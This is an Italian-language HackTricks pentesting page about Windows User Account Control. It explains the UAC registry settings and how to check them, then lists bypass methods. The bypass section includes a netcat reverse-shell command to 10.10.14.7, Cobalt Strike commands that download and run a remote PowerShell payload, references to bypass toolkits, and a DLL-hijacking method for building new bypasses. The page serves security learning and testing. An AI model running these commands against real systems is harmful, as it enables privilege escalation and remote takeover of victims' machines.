UAC - Controllo Account Utente

Reading time: 12 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

UAC

Il Controllo Account Utente (UAC) è una funzionalità che abilita un messaggio di consenso per attività elevate. Le applicazioni hanno diversi livelli di integrità, e un programma con un alto livello può eseguire compiti che potrebbero compromettere il sistema. Quando UAC è abilitato, le applicazioni e i compiti vengono sempre eseguiti sotto il contesto di sicurezza di un account non amministratore a meno che un amministratore non autorizzi esplicitamente queste applicazioni/compiti ad avere accesso di livello amministratore al sistema per essere eseguiti. È una funzionalità di comodità che protegge gli amministratori da modifiche non intenzionali ma non è considerata un confine di sicurezza.

Per ulteriori informazioni sui livelli di integrità:

Integrity Levels

Quando UAC è attivo, a un utente amministratore vengono forniti 2 token: una chiave per utente standard, per eseguire azioni regolari a livello normale, e una con i privilegi di amministratore.

Questa pagina discute in dettaglio come funziona UAC e include il processo di accesso, l'esperienza utente e l'architettura UAC. Gli amministratori possono utilizzare le politiche di sicurezza per configurare come funziona UAC specificamente per la loro organizzazione a livello locale (utilizzando secpol.msc), o configurato e distribuito tramite Oggetti Criteri di Gruppo (GPO) in un ambiente di dominio Active Directory. Le varie impostazioni sono discusse in dettaglio qui. Ci sono 10 impostazioni di Criteri di Gruppo che possono essere impostate per UAC. La seguente tabella fornisce ulteriori dettagli:

Impostazione Criteri di GruppoChiave di RegistroImpostazione Predefinita
Controllo Account Utente: Modalità di Approvazione Amministrativa per l'account Amministratore integratoFilterAdministratorTokenDisabilitato
Controllo Account Utente: Consenti alle applicazioni UIAccess di richiedere elevazione senza utilizzare il desktop sicuroEnableUIADesktopToggleDisabilitato
Controllo Account Utente: Comportamento del messaggio di elevazione per gli amministratori in Modalità di Approvazione AmministrativaConsentPromptBehaviorAdminRichiesta di consenso per binari non Windows
Controllo Account Utente: Comportamento del messaggio di elevazione per utenti standardConsentPromptBehaviorUserRichiesta di credenziali sul desktop sicuro
Controllo Account Utente: Rileva installazioni di applicazioni e richiedi elevazioneEnableInstallerDetectionAbilitato (predefinito per home) Disabilitato (predefinito per enterprise)
Controllo Account Utente: Eleva solo eseguibili firmati e convalidatiValidateAdminCodeSignaturesDisabilitato
Controllo Account Utente: Eleva solo le applicazioni UIAccess installate in posizioni sicureEnableSecureUIAPathsAbilitato
Controllo Account Utente: Esegui tutti gli amministratori in Modalità di Approvazione AmministrativaEnableLUAAbilitato
Controllo Account Utente: Passa al desktop sicuro quando si richiede elevazionePromptOnSecureDesktopAbilitato
Controllo Account Utente: Virtualizza i fallimenti di scrittura di file e registro in posizioni per utenteEnableVirtualizationAbilitato

Teoria del Bypass UAC

Alcuni programmi sono autoelevati automaticamente se l'utente appartiene al gruppo amministratore. Questi binari hanno all'interno dei loro Manifesti l'opzione autoElevate con valore True. Il binario deve essere firmato da Microsoft anche.

Quindi, per bypassare il UAC (elevare da livello di integrità medio a alto) alcuni attaccanti utilizzano questo tipo di binari per eseguire codice arbitrario perché verrà eseguito da un processo di alta integrità.

Puoi controllare il Manifest di un binario utilizzando lo strumento sigcheck.exe di Sysinternals. E puoi vedere il livello di integrità dei processi utilizzando Process Explorer o Process Monitor (di Sysinternals).

Controlla UAC

Per confermare se UAC è abilitato, fai:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Se è 1 allora UAC è attivato, se è 0 o non esiste, allora UAC è disattivato.

Poi, controlla quale livello è configurato:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • Se 0 allora, UAC non chiederà (come disabilitato)
  • Se 1 l'amministratore è richiesto di fornire nome utente e password per eseguire il binario con diritti elevati (su Secure Desktop)
  • Se 2 (Sempre notificami) UAC chiederà sempre conferma all'amministratore quando tenta di eseguire qualcosa con privilegi elevati (su Secure Desktop)
  • Se 3 come 1 ma non necessariamente su Secure Desktop
  • Se 4 come 2 ma non necessariamente su Secure Desktop
  • se 5(predefinito) chiederà all'amministratore di confermare l'esecuzione di binari non Windows con privilegi elevati

Poi, devi dare un'occhiata al valore di LocalAccountTokenFilterPolicy
Se il valore è 0, allora, solo l'utente RID 500 (Amministratore integrato) è in grado di eseguire compiti di amministrazione senza UAC, e se è 1, tutti gli account all'interno del gruppo "Administrators" possono farlo.

E, infine, dai un'occhiata al valore della chiave FilterAdministratorToken
Se 0(predefinito), l'account Amministratore integrato può eseguire compiti di amministrazione remota e se 1 l'account Amministratore integrato non può eseguire compiti di amministrazione remota, a meno che LocalAccountTokenFilterPolicy sia impostato su 1.

  • Se EnableLUA=0 o non esiste, nessun UAC per nessuno
  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=1, Nessun UAC per nessuno
  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=0 e FilterAdministratorToken=0, Nessun UAC per RID 500 (Amministratore integrato)
  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=0 e FilterAdministratorToken=1, UAC per tutti

Tutte queste informazioni possono essere raccolte utilizzando il modulo metasploit: post/windows/gather/win_privs

Puoi anche controllare i gruppi del tuo utente e ottenere il livello di integrità:

net user %username%
whoami /groups | findstr Level

UAC bypass

note

Nota che se hai accesso grafico alla vittima, il bypass UAC è semplice poiché puoi semplicemente cliccare su "Sì" quando appare il prompt UAC.

Il bypass UAC è necessario nella seguente situazione: l'UAC è attivato, il tuo processo sta girando in un contesto di integrità media e il tuo utente appartiene al gruppo degli amministratori.

È importante menzionare che è molto più difficile bypassare l'UAC se è al livello di sicurezza più alto (Always) rispetto a quando è in uno degli altri livelli (Default).

UAC disabilitato

Se l'UAC è già disabilitato (ConsentPromptBehaviorAdmin è 0) puoi eseguire una reverse shell con privilegi di amministratore (livello di integrità alto) utilizzando qualcosa come:

bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

Bypass UAC con duplicazione del token

Molto Base "bypass" UAC (accesso completo al file system)

Se hai una shell con un utente che è all'interno del gruppo Administrators puoi montare il C$ condiviso tramite SMB (file system) localmente in un nuovo disco e avrai accesso a tutto all'interno del file system (anche alla cartella home dell'Amministratore).

warning

Sembra che questo trucco non funzioni più

bash
net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

Bypass UAC con Cobalt Strike

Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al suo massimo livello di sicurezza.

bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire e Metasploit hanno anche diversi moduli per bypassare il UAC.

KRBUACBypass

Documentazione e strumento in https://github.com/wh0amitz/KRBUACBypass

UAC bypass exploits

UACME che è una compilazione di diversi exploit per il bypass del UAC. Nota che dovrai compilare UACME utilizzando visual studio o msbuild. La compilazione creerà diversi eseguibili (come Source\Akagi\outout\x64\Debug\Akagi.exe), dovrai sapere quale ti serve.
Dovresti fare attenzione perché alcuni bypass potrebbero richiedere alcuni altri programmi che avviseranno l'utente che sta accadendo qualcosa.

UACME ha la versione di build da cui ogni tecnica ha iniziato a funzionare. Puoi cercare una tecnica che influisce sulle tue versioni:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Also, usando this pagina ottieni la versione di Windows 1607 dalle versioni di build.

Ulteriori bypass UAC

Tutte le tecniche utilizzate qui per bypassare AUC richiedono una shell interattiva completa con la vittima (una comune shell nc.exe non è sufficiente).

Puoi ottenerla usando una sessione meterpreter. Migra a un processo che ha il valore Session uguale a 1:

(explorer.exe dovrebbe funzionare)

Bypass UAC con GUI

Se hai accesso a una GUI puoi semplicemente accettare il prompt UAC quando lo ricevi, non hai davvero bisogno di un bypass. Quindi, ottenere accesso a una GUI ti permetterà di bypassare l'UAC.

Inoltre, se ottieni una sessione GUI che qualcuno stava usando (potenzialmente tramite RDP) ci sono alcuni strumenti che verranno eseguiti come amministratore da dove potresti eseguire un cmd ad esempio come admin direttamente senza essere nuovamente sollecitato da UAC come https://github.com/oski02/UAC-GUI-Bypass-appverif. Questo potrebbe essere un po' più furtivo.

Bypass UAC rumoroso con brute-force

Se non ti importa di essere rumoroso, potresti sempre eseguire qualcosa come https://github.com/Chainski/ForceAdmin che chiede di elevare i permessi fino a quando l'utente non lo accetta.

Il tuo bypass - Metodologia di base per il bypass UAC

Se dai un'occhiata a UACME noterai che la maggior parte dei bypass UAC sfrutta una vulnerabilità di Dll Hijacking (principalmente scrivendo il dll malevolo su C:\Windows\System32). Leggi questo per imparare come trovare una vulnerabilità di Dll Hijacking.

  1. Trova un binario che si autoelevi (controlla che quando viene eseguito funzioni a un livello di integrità elevato).
  2. Con procmon trova eventi "NAME NOT FOUND" che possono essere vulnerabili a DLL Hijacking.
  3. Probabilmente dovrai scrivere il DLL all'interno di alcuni percorsi protetti (come C:\Windows\System32) dove non hai permessi di scrittura. Puoi bypassare questo usando:
    1. wusa.exe: Windows 7, 8 e 8.1. Permette di estrarre il contenuto di un file CAB all'interno di percorsi protetti (perché questo strumento viene eseguito da un livello di integrità elevato).
    2. IFileOperation: Windows 10.
  4. Prepara uno script per copiare il tuo DLL all'interno del percorso protetto ed eseguire il binario vulnerabile e autoelevato.

Un'altra tecnica di bypass UAC

Consiste nel controllare se un binario autoElevato cerca di leggere dal registro il nome/percorso di un binario o comando da eseguire (questo è più interessante se il binario cerca queste informazioni all'interno del HKCU).

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks